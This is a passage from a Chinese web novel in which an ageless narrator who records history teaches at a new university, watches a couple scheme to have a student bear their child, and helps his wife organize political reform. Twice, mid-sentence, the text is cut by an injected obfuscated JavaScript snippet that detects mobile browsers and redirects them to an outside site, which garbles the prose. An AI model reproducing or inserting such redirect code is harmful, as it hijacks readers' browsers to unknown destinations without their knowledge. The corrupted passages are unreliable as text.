没有开放之前,每个人的生活都是有限且相对清晰的。比如何曼珠,她生在工薪阶级的纺织厂,接受十二年义务教育,按部就班地读大学,分配工作来到安化厂。她有理想,但这理想是在规划之内的。就仿佛人人都是一节火车头,手握着自己的方向盘,脚下的轨道看似四通八达,却都是既定好的。而如今,每个人手里的方向盘被拿走了,他们不再是一列列火车头,而成为了一个个确切的人。曾经摆在他们面前的被预设好的轨道,也都全盘被拆除。 自由,在他们看来更像是被流放。 一群习惯了在动物园里朝九晚五、定时吃饭、定点排泄的动物,被放归草原。面对浩瀚无际的天地,他们没有预想当中的喜悦,反而陷入了巨大的迷茫和不安。在此之前,他们从不需要思考自己活着的方式,也从没想过自己究竟喜欢什么、热爱什么,自己又该如何度过这有限且荒诞的人生。而如今他们却不得不、也必须要开始考虑这令人头疼的问题。值得一提的是,他们曾经接受过的规训类型的教育,并不足以支撑他们进行此时此刻的思考。于是迷茫之后他们开始焦虑。而焦虑的本质就是因为,他们的能力与思考并不匹配。 教育和学习的意义在此刻彰显出来。 从前限制区域开放的图书馆,对市民全面打开。电视台的节目也恢复了战争以前的多样性,剧场里也不再尽是些正确的、刻板的芭蕾舞剧。那些曾经被豢养在达官贵人地下室里的、或是自我隐藏起来的艺术家们分分来到阳光下。朋克、茶艺、爵士、拉丁、素描、贝斯、唢呐、相声、评书、钢管舞、杂技、魔术、昆曲、象棋、棒球、花样滑冰、跳伞……死气沉沉的大地焕发生机,因为流感、不夜症、懒惰症、房屋摧毁和空气破坏,而灰暗的数十年的安化厂,一夜之间五彩缤纷了起来。从前除了厂里生产出的纸扎用品和红巷子的铁皮房子是彩色的以外,其他的一切都是水泥灰的,包括人们的眼睛和嘴唇。 各类精神文化场所落地而生。张海燕的二女儿刘爱华借助着家族里的歌唱天赋,在安化厂的闹市区里,开了本市的第一家艺术培训机构,紧接着玫瑰也在其隔壁办起了交谊舞厅,生意甚是红火,后来管红军甚至辞掉了在厂区的副厂长职位,两人将舞厅越办越大,做成了连锁规模,这与玫瑰在红巷子时期积累的深厚的人脉密不可分。思想自由之后,反而人们对于合法的性的需求迅速下跌,精神消费成为人们标榜自己高尚人格的新潮流,而原始的欲望被隐藏起来,会所、舞厅,成为偷情和灰色产业的集聚地,曾经明码标价、五险一金的女孩们,从劳动法册被迫迁移进刑法里。而合法的红巷子却急速衰败,没出几个月,女人们便都纷纷搬离那里。曾经乒乒乓乓的铁房子,很快都锈迹斑斑,后来成为了小孩子们探险的秘密乐园。 出走多年的龙四也在这时回来了。 他衣衫破烂,头发膨乱得直达脚跟,胡子也浓密得几乎将整个人都掩盖起来。当他背着一个破布麻袋出现在家门口时,我完全以为是个上门讨饭的陌生人。直到他用浑厚低沉的嗓音喊我爷爷,我才反应过来,他就是幼年时总爱拿着木棍到处敲敲打打的、我的第四个孙儿。 热汤饭端上桌时,他已经用剪刀将自己的长头发和长胡须都修理整齐,露出白白净净的脸庞。他面目温润如玉,眉眼细腻,丝毫没有我们家族任何人的影子,倒更像是已故的吕文生。这令我当下不禁心头一紧,害怕起来。后来我又意识到时代已经不同了,这才暗暗放下心来。我劝他赶紧趁热吃饭。他告诉我自己远行在外,误打误撞成了一个淘金者,这次回来,是要用淘来的金币开办一所大学。 这个大胆的设想,令我非常佩服。我拥有非常清晰的自我认知,知道自己给他提供不了任何有效的帮助,自然也就没有反对或者提出建议的资格。正当我识趣地保持沉默时,龙四却向我发出邀请。他希望我能担任学校历史系的教授,他说自己从小便深受我的那些绮丽诡谲的历史故事的影响,并以我为目标和榜样。 我拍着他的肩膀连连称赞他有眼光,并非常开心地接受了这份邀约。 在政府的支持下,大学很快就获批了地皮,在金币的加持下,设计施工落成招生在短短三年内,一气呵成。我拄着拐杖,摇摇晃晃地走进久违的、崭新的课堂。讲台底下坐着的几乎是与几百年、几千年前如出一辙的年轻面孔,他们的眼神里有着相同的清澈和单纯,也有着不尽相同的迷茫和焦虑。每一个时代的人都有其独特性,而每一个个体又都有其纠缠不清的相似性。我打开停滞了几十年的历史教材,他的编写者陆光敏先生早已在本书开篇的那场流感中,因恶性感染而抱憾去世。 陆光敏先生作为一个普普通通的人类,他的一生都在为历史的编写和记录而穷尽心血。他的清苦和专一在时代的选择面前,曾短暂地沦为一时的原罪,而并不是所有人都可以等到平凡昭雪的那一天。他临死在病床上听到的最后一个消息,是关于自己所出版的所有书籍被尽数烧毁,而那时的他已经虚弱得无法发出沉痛的悲鸣。 他呱呱坠地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422500|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一生从未流过眼泪,而在得知自己的心血付之一炬时,他将脸瞥向了阴影处。 而无论在哪个阶级当中,总是不缺乏有良心的人。严格的焚烧令之下,陆光敏先生的书籍仍然被隐秘地保留了下来。此时此刻它就握在我的手中,也握在了讲台之下一百六十七位年轻人的手中。 翻开书本的第一页,便是他对这群陌生青年人的衷心寄语。 「我年轻的朋友们。虽然素未谋面,但我们因这本书籍而相识。我将尽力避免自己去讲一些晦涩的、高高在上的文字,因为历史的本意从来不是说教。我在年轻时因为对自己外貌的卑微是极其不喜欢照镜子的,于是乎我对自己的所有认知和觉察都来自于旁人的评判,这令我非常痛苦。我变得谨小慎微,变得卑躬屈膝,变得不由自主的地去讨好,直到某一天我走在阳光下的街道,在一家服装店的橱窗镜子里,意外瞥见了自己,他是如此的怯懦、拘束陌生。我才发现,我似乎从未真真正正的认识过我自己。而历史就是这一面橱窗的镜子,它让我们客观看到,在这浩瀚时代之下,如此渺小的却又如此真实、有力的自己,虽形如蝼蚁,却可撼天地。在我们的生活当中,绝大多数人都是迷茫的,哪怕是那些看起来生活得非常确切的人。如果你去仔细观察,你会发现他人生的许多决定都并非来源于他本心。事实上绝大多数人直到死亡,都从来没有真正看见过自己的本心。发现并且认识自己,这并非一件唾手可得的简单事。这需要机缘,也需要勇气。在这个浑浊的、以随波逐流为安全的世界里,保持时刻的清醒和独立是需要极强的意志力和信念的。阅读历史可以让你找到自己的本心,而在历史当中源源不断汲取的力量,可以让你足以坚持自己的本心。但是我还想说的是,历史不是唯心,恰恰相反,它是绝对唯物的。因为历史它从来都不是虚构,也不是讲故事,而是客观的记录。尊重并且了解历史的人,一定不会是一个虚无主义者,也一定不会是一个天花乱坠的白日梦想家。我年轻的朋友们,当你找到本心之后,请务必不要成为一个只逞口舌之快的空谈分子,要脚踏实地的做实事,哪怕只是把你的思想写下来。历史不会记录那些虚无缥缈的念头,但历史会尊重每一个人的思想。而且历史是极其富有包容性的,它本身是不带有任何褒贬评价的,这也就意味着你可以按你所想,随心所欲的思考和生活,秋收冬藏、厚积薄发也好,借势而为、运筹帷幄也好,放马南山、归隐田园也好,快意恩仇、恣意放纵也好,只要遵从你的本心都好,都好。希望我的话语并没有过于啰嗦,也预祝你能在本书中收获一点启发。」 人会身死,但思想永存。 与此同时,疗养院的草坪上,姜飞鸿和龙九整整齐齐地并排躺在太阳底下,龙九依然穿着干净的粉红衬衫,他看起来已经是个稳重的中年人了,近旁的姜飞鸿惬意地将双臂交叉枕在脑袋底下,他看起来不同往日的活力,显得很是安静。直到太阳缓缓落下,看护员小芳来喊两人吃晚饭,人们才发现,两人已经停止呼吸有些时候了。 而在遥远的山脉西侧,山茶的丈夫另觅新欢,她得以恢复自由之身,在许绣蓝的见证下,她和龙五用简单的橄榄枝条做信物,举行了婚礼。 下课铃响起,年轻的青年们如同顽皮的小猴子般,叽叽喳喳地收拾了书本,陆续从教室散去。我慢悠悠地将保温杯和教案收进提包里,起身往外走,却看到头发灰白的古秀梅正站在门口,来接我放学。 在病床上躺了许多年的古秀梅,其间所经历的时光似乎从没在她身上流转过。她看起来比我年轻十余岁的模样,但我却像是她的孩子。 「古同志,谢谢你来接我。」 「上次咱们俩的故事还没讲完,溜达溜达去。」 「听起来像是咱们之间有账还没算完。」 古秀梅被我逗笑了,「不然打一架试试?」 「年轻时,我就只有挨打的份儿,如今你矫健依旧,我四肢散装,胜负已然明显了。」 「小林同志,你倒是一如既往,服软认怂,从来都是第一名。」 春末夏初的长道旁,新种的水杉抽出新芽,抬眼望去,蔚蓝的天空里镶嵌着翠绿色的星星。我握起古秀梅松弛柔软的手,第一次感到自己正在走向人类必经的衰老。从前春是春,秋是秋,孩童是希望,前途是光明,如今生机勃勃的万物复苏,在我眼中却也有了迟暮的悲凉。 所以,这就是人类历经千万年,苦苦追求长生不老的缘由吗?纵使在过往我已经历过无数次自己躯体的病故与老去,我曾在尼罗河的倒影里、也曾在加勒古堡的石碑旁,目睹自己的皮肤松弛鬓角雪白、脊背佝偻得几乎像只慢吞吞的老乌龟,那是我□□的老去。但我的灵魂永远年轻。 时常地,我也会有长生不死的疲倦,身旁的人来来往往,我站在其中,他们有些是我的父亲母亲,有些是我的青梅挚友,有些是我尊敬的老师,有些是我最疼爱的学生,但我知晓他们前世今生的所有,却不被允许向他们倾吐半分我心中的愤懑与扭曲。我是一本书,一本设计出来用以记录历史的书,但神明从没问过我,我是否愿意成为或者作为这样一本书而活着。曾几何时,我非常羡慕花草树木,羡慕他们不必为柴米油盐而出卖□□和灵魂,人人追求的风和日丽雨雪冬春,它们降生便可获得,可后来我与崂山的一棵千年银杏谈天,它反倒羡慕人类有手脚四肢,千年前,它还是一颗种子的时候,被一阵风送来崂山之西落地扎根,五百年风吹、五百年日晒、五百年雨打,它日日夜夜听见山脊之东那浩瀚大海的呼唤,却只能听,而死生不能见。 「秀梅,我感觉自己好像真的老了。」 「那你也是我的小林。」 「我们的故事不告诉他们了,好不好?我想这些只是咱们俩的秘密,我想你爱我只有我知道,旁人都不晓得。」 「你的心思总是像个小孩子。」 27. 梁露 文化艺术类目的民智开化活动接踵而至。这也促进了制造业和商业的发展,各种乐器制造、土木兴建、教育培训如雨后春笋。人人都举手赞叹: 「这真是亘古未有的好时代!」 而且三十一世纪的人类有一个非常大的优点——不翻旧账。 新文化的政令推行而来,民间几乎毫无反对之声音,按以往历史规律,此番必是要肃清旧党,打击一番旧制度的。而新世纪的人类却似乎一夜之间就忘记了曾经家家风声鹤唳、草木皆兵的谨慎日子,而欢天喜地地投入到了新的政令之中。 女人的裙子越来越短,男人的头发越来越长,文明的更迭既在向前也是轮回。 曾经入夜就沉寂的安化厂,如今再次陷入「不眠症」。不同于上次经济机器的轰鸣声,这次夜幕下传来的是灯红酒绿、歌舞升平。 独眼张家的二层门面房,摇身一变成为高端名利场的偏门。夜幕低垂时,食色男女们衣着光鲜地迈下汽车,踩在红丝绒毯上,眉眼轻佻,徐徐走进那扇深不见底的门。不知为何,看着那道光明正大的偏门,我再次想起吕文生。 对某些人而言,□□是工具、资源、筹码;而对某些人而言,这是尊严和底线。从前这道门往往被隐藏在暗处,不被觉察,设此门者到底还是顾及法律和民众刑责的。而如今短短五年,这道门便被堂而皇之地开在了熙攘的闹市口,这和女人掀了裙子、男人脱了裤子站在马路中央没什么区别。 当我在课堂上收到梁露的请假条时,我推了推眼镜,目光再次落在她隆起的小腹上确认:「预产期确定在哪天了吗?」 她穿着肥大的淡紫色连衣裙,头发乌黑,脸圆圆的,笑容很朴素的样子。「嗯,林老师,定在下月初,所以这学期后面我都不能来了。」 「不碍事,我会向院里特别说明你的情况的。现在国家倡导多生多育,你这也是在为祖国建设做贡献,院里也是要支持你的。」虽然我心里并不是这样想的,但我依然这样说了,这让我憎恶自己的虚伪。可是,木已成舟,我此刻再去骂她又有何用呢。她也不过是一个寄希望于通过一个孩子而完成阶级跨越的可怜的女孩子而已。我能想到的说教,在过去无数重新来过的生活里,我都试过了,真相就是:底层人的挣扎,无力得极其可笑。或许,她真的能生下一个男孩呢,或许她真的一步登天呢,这是我也未曾走过的道路,我不能当那只讲葡萄酸的狐狸。但为人师表,我能做的就是保住她在学业的这条退路,即便她登天的梯子折在半路,摔了下来,我依然可以给她另一种选择。 梁露是入学第一名进来的,她和绝大多数小镇的姑娘一样,怀揣着美好的愿景背井离乡,来到大学校园和城市。她们的眼睛,如同未经雕琢的璞玉,质朴、清亮,人群中很容易就能一眼分辨出她们。 庄立春和何曼珠多年没有孕育,期间缘由旁人并不知晓,但这给了梁露进入他们生活的机会。 经过多年的运作,黄豆豆成为了这台裹挟着数亿人口的巨型机器的掌舵者。而庄立春的行事作风越发被排除在这套体系之外,年过半百的他在自知升迁无望后,便萌生了生儿育女承欢膝下的念头。年轻的何曼珠却尚有作为空间,四十余岁的环保局副局长,她的仕途显然不会止步于此。梁露是两人共同物色、商议定下的人选。 「自己和直系三代之内不能有遗传病。」 「身体和心理都要健康的。」 「要聪明,情商也最好别太低。」 「样貌普普通通就行,但要白一点。」 「性格文静一点的,免得生出其他事端来。」 「家庭情况简单,最好别有哥哥弟弟的。」 「工于算计太精明的不要。」 …… 何曼珠站在女人的立场提出:「深陷爱情的女人,既是任人宰割的鱼肉,也可以是杀人的毒药。既然是你想要,那就最好确保不要惹出麻烦来。」 红木书案上,昔日甜蜜如糖的两人分席而坐。落地窗外,清风和煦。如此浪漫的场景,竟然是在谋划如何诱骗一个无辜女孩走进一场黑色骗局。不知此情此景,何曼珠会不会回忆起姜飞鸿去给她送花的那个下午,也是这般的好阳光。 写到这里,我忽然发现何曼珠是个一直被我忽略的强势角色。因为现实世界里,我与她的交集的确不多,这些已经是我能交代的全部。我回头翻看了关于她的文字,寥寥两三千字,写得很少,但似乎又隐隐能看到很多。关于她的来路、她的当下、她的未来,在我浩瀚的记录档案里必然是有的,但我无需去看,便油然生出一股对她的敬佩来。 我和古秀梅为姜飞鸿和龙九修砌了坟冢,选在远离城市、没有树木遮挡的草坪。 「如此,两人便可继续并排躺着晒太阳了。」 「复生,我提交了议会的入会申请,初审已经通过了。」 「就知道你不会善罢甘休。」 「这个成语用得不妥。」 「小趣味,赏脸配合一下嘛。」 「复生,我最近研读了许多解禁的政治书籍,尽管我即将重新回去,但坦白讲,我的立场开始动摇。各国政体皆有利弊,各地国情也各有分别,我毕生都在推动全民票选制,旨在将权利还给人民,国家如同一台公有制的庞大机器,去中心化这条道路,还从未在如此庞大的一台机器上真正实施过。我在夜里辗转反侧,将权利彻底归还人民,到底利大于弊,还是反之。尤其是经历此次思想变革,当我沉睡之后再次醒来,世界天翻地覆,世人几乎是一瞬间就接受了改革政令,没有质疑、没有核实、没有深度的思考,就好比今早菜场的鸡蛋涨了三分钱,妇女男人们逢面就互相嘟哝『又涨了,再涨要吃不起了』,他们不会去思考这背后的供需关系、如何合理调控、调控成本和周期等等。如若真的把权利让渡到这样一群人手里,那这个国家最终会沦为商人的棋盘,手握选票的人民上一秒或许还在为获得权利而沾沾自喜,下一秒选票就会被商人用丰厚的金钱买走。这些人民,他们只有在被压迫的时候,才能想起来要争取属于自己的权利,和平时期的权利,在他们看来可能还不如一盘鸡蛋来得实在。困难往往令一个国家和民族更团结,而分裂往往发生在寂静的晴天里。」 「秀梅,每个人的认知都有其局限性,你的认知天赋在政治,可是你对纺织衣服和种植大豆一窍不通,而绝大多数人民他们不懂政治,但他们知道衣暖饭饱,别说他们,我活了这么多年,熟读各洲各国历史,如数家珍,我都搞不懂政治。权利博弈、审时度势、联合纵横、真真假假,虽然我读历史教历史,但我本心更喜欢数学,一是一,二是二,严密推理,歪曲不得,而政治是人心和文字的游戏,对是错,错也可以是对,虚虚实实,玲珑八面,太复杂了。我参悟不进去,那只能先顾自己眼前利益了,什么党派之争、什么贪腐、裙带关系,只要是让我能踏踏实实过好日子,那我就乖乖拥护。你是站在高阶维度来看国与民的未来,而他们只能看到自己的一亩三分地的未来,没有孰对孰错,历史从来都不是靠空喊口号的人、或者莽夫去推动的。由此可见,思想的开化极其重要。如今虽然思想自由了,但禁锢良久的民众们也被席卷而来的文化浪潮给裹挟着飘飘然了,他们沉浸在低级欲望里,哼唱着自认为时髦的口水歌,染着五颜六色的头发,无时无刻不在想尽办法彰显自己的个性,伴随而来的就是因欲望过度而产生的对金钱的需求,于是各种快钱行业应运而生。可这真的是他们自己的选择吗?也不尽然。选择的前提是他知道自己还有其他更多选项、且有能力去选。而对这些民众而言,很显然在这场思想改革中,他们看似自由了,其实并没有。生态、环保、贫富差距的冲突日益严峻,民众已经出现畸形,吴侑珍的孩子海婴和兰雪的孩子云朵就是活生生的例子,这场突然而来的自由,本质是对民众焦虑情绪的清洗。当矛盾解决不了时,就转移矛盾,或者把矛盾中的人灌醉,现在民众就是那群正在被灌醉的人。而他们竟然还欢天喜地地以为自己生在了亘古未有的好时代,真是既天真又可怜。所以,秀梅,你要追求的事业无需验证一定是伟大的、正确的事业,但这份事业需要一个前提,那就是民众开智。而这里的开智已经不简单指认字读书,而是要有自己独立的思想和人格。这是条极其艰难地道路,甚至比你去议会推行制度还要难。 一个人在确立自己思想和人格的路上,会遇到层出不穷的阻碍和诱惑,稍有迟疑就会前功尽弃。更有甚者,他们在经年累月中已经完成了自我思想和人格的塑造,用一套歪理邪说完成逻辑闭环,且冥顽不灵根本动摇不得。还有少数者,甚至甘愿依附于他人沦为寄生虫、附属品,毫无自我可言。等将来哪一天,民众人人皆为独立思想与人格的清醒个体,你所追求的将权利归还民众就可以实现了,但秀梅,别灰心,我们还有很多时间。」 「我已经有所觉察,思想开放政策对于我们的议案并非好事,人们沉浸在自由的眩晕里,却忽略了绝对的自由往往意味着上层人对下层人的剥削,自由的人,在某个时期也曾被称为『奴隶』,可是这些历史都太久远了,现在课本上根本只字未提。我有时经常感到历史是一个巨大的钟表,从十二,顺时针一圈,有时光明有时黑暗,再次回到起点,周而复始,但『时间』却在不断向前。」 「梁露下月初就要生产了。」 「这么快?」 「孩子是谁的她还是不肯说吗?」 我心知肚明。「嗯,或许她有难言之处。」 「新规撤销了家暴法,但也通过了反堕胎法,也不知是福是祸。」 我长叹一口气:「看吧,还会变的,它不是一直都在变吗?」 古秀梅靠在我单薄的肩膀上:「是啊,它从没停下过脚步。」 正说着,新建的百花文艺广场中央,七点的钟声敲响,绚烂的音乐喷泉拔地而起,人们纷纷跑进广场里去踩水,嬉笑和欢呼声洋溢在整座城市上空。 我和古秀梅只听身后传来淡淡一句:「这盛大的快乐,还真像是末日前的狂欢。」 转过身,是白净清秀的龙四。龙四和他的父亲当年一样,邀请我陪同他去改名字。 周围的建筑数十年间翻天覆地,唯独那栋小小的社区派出所,依然是灰头土脸的旧模样。龙四穿着崭新的中山套装,搀扶着我再一次踏上那被无数人踩过的台阶。我脑海中本该在此刻涌现出密密麻麻的回忆,许多人的出生和死亡都通过这里与世界产生或切断联系。而事实上,我满脑子都被一团名为恐惧的乌云笼罩,改名之后他的命运将如何变幻,有饭的厄运会不会重演,我再一次切实地经历恐惧,我非常明确地感到自己正在发抖,即使看不到,我也能猜测出,这张像烂苹果一样皱巴巴的脸上,两颗黑葡萄般的眼睛,惊骇得几乎要掉出来。如果此刻迎面走来一个胆小的孩子,一定会被我吓得哇哇大哭。想到这画面,我忽然觉得没那么恐惧了,反而乐滋滋得险些笑出来。 武棒棒如今已经是壮如黑牛的所长,一米七的个子,两百斤的横肉。「林叔,您来了。」他嘴向来是最麻利的。「今天来是有啥事?」 「龙四想改名。」 「龙校长,快请坐请坐。等着哈,我去泡茶,这就安排人来。」 趁着间隙,我才问龙四:「四儿,想好改什么名了吗?」 「想好了,爷爷。我想改成林龙四。」 我微微一惊,心里莫名暖和起来:「你要……改回林姓?」 「关于我父亲的事情虽然您和奶奶从未对我们提及过,但这些年,我游历在外又回到安化厂,那些往事拼拼凑凑也都知道得七七八八。爷爷,那些光怪陆离的日子已经过去了,现在让咱们回到现实,好好生活吧。」 龙四神情真切地握住我的手,温柔得跟这个家族显得格格不入。我望着他如同四月春水的眼睛,该有多少女孩沉沦于此,可不知为何,我的脊背一阵阵发凉。只是当时我沉浸在他改回林姓的喜悦,根本无从去深究那令我发冷的原因。随即我猛然意识到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422501|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我堕落了。从前我一直自诩是开放、包容的先锋思想领袖,虽然没有任何官方背书,我也从未对任何人提及过,但至少在内心我是非常认可自己这个荣誉的。我时常有意将自己与那些迂腐、封建的男人女人们区别开来,例如婚姻里,我厌烦男强女弱的老腔调,偏要做操持家务的那个,任由古秀梅去创事业,也例如教育,我更乐于与学生们亦师亦友、彼此教学相长,再比如和我儿子孙子们,除了称呼以外,我们似乎并没有严格的辈分等级之分,他们人人在我这里都是平等的。可即使刻意规避,我仍然还是被潜移默化地同化了:我竟然会因为龙四要改回林姓而心生光耀之喜。 纲常礼教之于人心,时常就是如此般,或于抵抗挣扎间、或于无知无觉间,便受其影响。 与此同时,古秀梅想到了该如何开化民众思想。 「文娱艺术、出版报业、画廊书店、甚至游戏广播,这所有的渠道都是用以民众思想启蒙内容的传播。个体的思想形成,天资禀赋是一方面,后天刻意学习与耳濡目染的影响又是一方面。教育系统的教材无法左右,但如今文娱艺术已经全民自由,我们可以是听歌看电影的人,也可以是写词编剧的创作者,更可以是新闻报刊的书写者、画家、演说家、喜剧演员、文学家、评论家。历史上的众多经验都已经告诉我们,这条路是绝对可行的。从现在抓起,正处于个体思想萌芽时期的十八九岁的一代人,十年后他们逐渐迈入社会掌握话语权,到时就会成为我们新的同僚。或许根本用不了十年,或许正有千千万万人已经心中早有疑问,但却无从谈起,正等待有人为其书写一个开篇。」 古秀梅说得没错。成年人的思想固化且封闭,与其与之纠缠不清,不如另辟蹊径,到未成年人尚且空白的思想之地里大有作为一番。而这在人类文明历史上并不少见。我曾经降生在濒临北冰洋的极寒荒村,数年后,我凭借几千年积累的聪明学识,成功离开荒村,进到一座满是雕塑的红色城市读书,后又跟随同学漂洋过海,来到北美板块的东部交换留学。尽管一千多年已经过去,我仍记得满载货物和学生的轮船,徐徐驶进港口的那个清晨:我站在甲板上,海面白雾朦胧,远远地听见白雾深处有鸣笛和码头机械忙碌的声音,随着船锚被缓缓放下,一座静谧站立的女性雕像,从迷雾深处渐渐揭下面纱,显露出真容来。 当我真正走下船,想一睹她的容颜时,一个赤脚蓬头的中年母亲拖着她暴露在外的子宫迎面撞来,那子宫里分明僵硬着一个青紫色的婴儿。浑身泥巴的她用含混不清的语言向我倾诉自己的痛苦,并向我祈求一些钱财买食物充饥,而就在不远处,巨型钢铁机器的轰鸣声里,人类世界的格局正迎来崭新的篇章。我拿出自己微薄的现金,递到她青黑的手里,那已经不能称之为手了,更像是两坨腥臭的抹布。她激动万分地向我鞠躬,她弯下腰的瞬间,其背后的女性雕像正巧取而代之。 带领我们前来的金发教授史密斯,向我们宣传自由的好处。他讲权利是某个被钉死的神的孩子赋予我们的,我却诧异神为何会眼睁睁看自己孩子死去,如果神是自由的,难道他的自由就是任由自己孩子被杀死?无论贫穷富贵人人都有享受权利的自由,这句话我倒是相对认同,但后面金发教授史密斯接着讲,所以权利也应该是自由的,这种鸡生蛋蛋生鸡的问题,脑袋正常的人类一听便知道是诡辩之术,可偏偏我的同学之中就有脑浆混浊之流,被其迷得五迷三道,仿佛猪八戒进了盘丝洞那般,魂魄都不清醒了。而起初,人类只以为这是一场非常普通的学生交换活动,直到多年以后,我在沉闷的科研室里,听到收音机里传来故土的村庄被四分五裂的消息,其中始作俑者正是当年的脑浆混浊之流们。 分裂、统一、战争、和平,世界与人类形势无外乎这四种状态。而这当中的权术、手段,却以亿万计都不足够。 自由,不过是人类思想历史长河中无数被发明出来的、供政客们和当权者用以煽动民众的词语罢了,诸如此类还有民主、平等、博爱……数不胜数,琳琅满目,犹如古文明长城的灰砖、金字塔的石桩。 「不,这偏见源于你肮脏懒惰的本性。」那个体态丰盈的女人再次出现,她仍如年轻时的可爱模样。她仿佛拥有让时空倒流的能力,我原本干瘪枯萎的身体奇迹般重焕新生,但显然,我的心力已经被岁月摧残得交瘁不已了。可我仍不想拒绝她,这是我的劣根性。 她似乎并不嫌弃我的衰老,以及那条半月没洗的棉布腰带,她像一匹从草原而来的烈马,令我想起古秀梅年轻时的剽悍模样,她狠狠地教训起我:「自由才不是你这厮嘴里吐出的腌臜模样,你认为绝对的自由带来混乱和压迫,是因为你本性就是如此的恶劣,如若让你生活在自由平等的时代、手握权力,你必是个自私自利、以权谋私的货色,比如现在,你甚至懒得自己动两下,只晓得享受快欲,可并非人人都是如你般的三流货色,纵使你是学富五车的历史专家、名誉教授又如何,我曾同样去过柳常清、管红军的梦里,他们怎就能坐怀不乱,而你却像庄立春、龙七之徒,甚至还不如那两人。」 直到她说出这句,我才恍然大悟,她是曾因偷食禁果而被神惩罚终日欲望缠身的那部分我,她不分日夜钻进男人的梦里面去勾起他们的欲望,引得他们醉生梦死。我竭力想推开她,但也只是转瞬即逝的念头而已,直到我因羞愧流下泪来,她才扫兴起身。 「没意思,也不晓得古秀梅如何看上你这懦夫。」说着,她将粉红裙摆一甩便拂袖离去了。 她,是我青春的回光返照。谈不上热烈,但也勉强圆满。 我起身将脏衣裤丢进卫生间的搪瓷脸盆里,这还是与古秀梅新婚时买的呢,边角已经磕成黑色。我将洗衣粉倒进手心,小小一捧,然后用水龙头的温水冲在那摊乳白的液体上,我一边搓洗,一边感叹自己的老当益壮。 凌晨,安化医院里。 护士冷静地向虚弱的梁露宣布:「是个男孩。」 梁露松了一口气,转身沉沉睡去。 28. 阿宁 古秀梅开始学着年轻人控制饮食、锻炼身体,和团体的人奔走于各方文化艺术工作者之间。她陆续找到张海燕的二女儿刘爱华、吕文生的妹妹吕文羽和多年未见的龙七。 刘爱华随张海燕,口快心直,她打小便很是亲近古秀梅,一听古秀梅想结识一批搞艺术的创作者,她立马就拉出一长串客人清单,但随即又折了起来。「秀梅婶婶,不是我不给你,这按道理顾客信息是隐私来着,你看这样行不行,我来先跟老主顾们打个招呼,他们有意向我就给牵线搭桥。」古秀梅也觉得在理,就应下了。 吕文羽定居在外城,古秀梅定了票就只身前往。 错落有致的高端小区里,一座二层花园小楼显得陈旧且突兀。 古秀梅扣响门栓,良久,生锈的铁门被缓缓打开,走出一位秀丽温婉的中年妇人。 「请问,您是吕院长吗?我是前几天和您秘书联系过的古秀梅,我是您兄长吕文生的老友。」 简单寒暄过后,古秀梅切入正题。 「与你,我就不搞弯弯绕绕那套了。许多年前我就一直致力于推行全民票选,但屡屡失败,自从多年前大病昏迷之后,再次醒来,眼见世界天翻地覆如同魔幻剧情,我越发感到开悟民智、权利平等的重要性。当年,如果不是政府的思想禁令,你的哥哥或许不会被逼到那样一种绝路的境地。禁令之下,文艺工作者的生存空间犹如夹缝求存,他想既活着又坚持自己热爱,堪比与恶魔搏斗。当年政府之所以推行禁令,就是因为知道民众思想力量之庞大,现在,是该我们来使用这份力量的时候了。」 吕文羽听闻哥哥吕文生的名字,眼中顿时噙满泪水,她从真丝旗袍腰间捏出手帕:「哥哥他……都是为了我。」 「他本不必做这种两难选择,真正逼他走上绝路的正是那些草菅人命的当权者。但如果权利回归人民,人民便是监察员,手中的选票可决定当权者的去留,当权者必不敢再胡作非为。」 吕文羽泪眼望向年迈但铮铮的古秀梅:「我很佩服你,所以你需要我怎么做?」 龙七远在首都密钥机关,古秀梅联系不到,只能先找到古妙心。 废除家暴法案的推进,古妙心在其中作用甚大,她既是如今权力中心黄豆豆的妻子,自己也是□□长、议会委员组的干事。 「姑姑,你找我。」 简单整洁的办公室里,只有一张书桌、三把椅子、一排档案柜。 古秀梅面对这个多年未见的侄女,有些声怯。「家里你姑父有点想你和小黄还有小七了,他不方便出远门,让我带些厂里的零嘴来给你们尝尝,都是新做的。」 敏锐如古妙心,自然知道最后的龙七才是重点。 「他在□□里很好。」 「妙心,你是个聪明孩子,你知道我想说的是什么。」 「你重新回到议会,想做的事情需要龙七,而现在的他未必愿意帮你。」 古秀梅似乎早已预料到答案般,瞬间话锋一转:「那,你会帮我吗?」 古妙心听着,心中略略一顿,这显然是她没有预料到的回答。面前这个有着表亲血缘、却关系生分的姑姑,几十年来,彼此向来是只有名义没有实交的,嘴上虽然喊得亲切,心里感情却淡薄得比邻居同僚还不如。这样直白的试探,令她起了戒备心。 古妙心轻轻拧紧钢笔:「议会委员的位置共一十七席,我能在这当中稳坐十余年不动,靠得可不是徇私舞弊,而是公正。我既不会帮你,也不会帮那些人,但我会向你保证公平。」 姑侄之间,关系虽浅淡,但骨子里的精明和分寸却是一脉相承,她们之间无需多言。听出了侄女的话外之音,在当前的形势下,古妙心宣称绝对中立,也就意味着已经倾向了古秀梅的阵营。古秀梅寒暄起来:「你爸身体怎么样?」 古妙心也顺势语气软下来:「他呀,硬朗得很,老房子在四楼,每天自己上下好几趟。」 「那就好,那就好……」古秀梅喃喃着。 古妙心递来一张纸条:「这是龙七的号码,只有我和豆豆知道,旁人都不晓得的。记住,我不会帮你的。」 古秀梅接下。 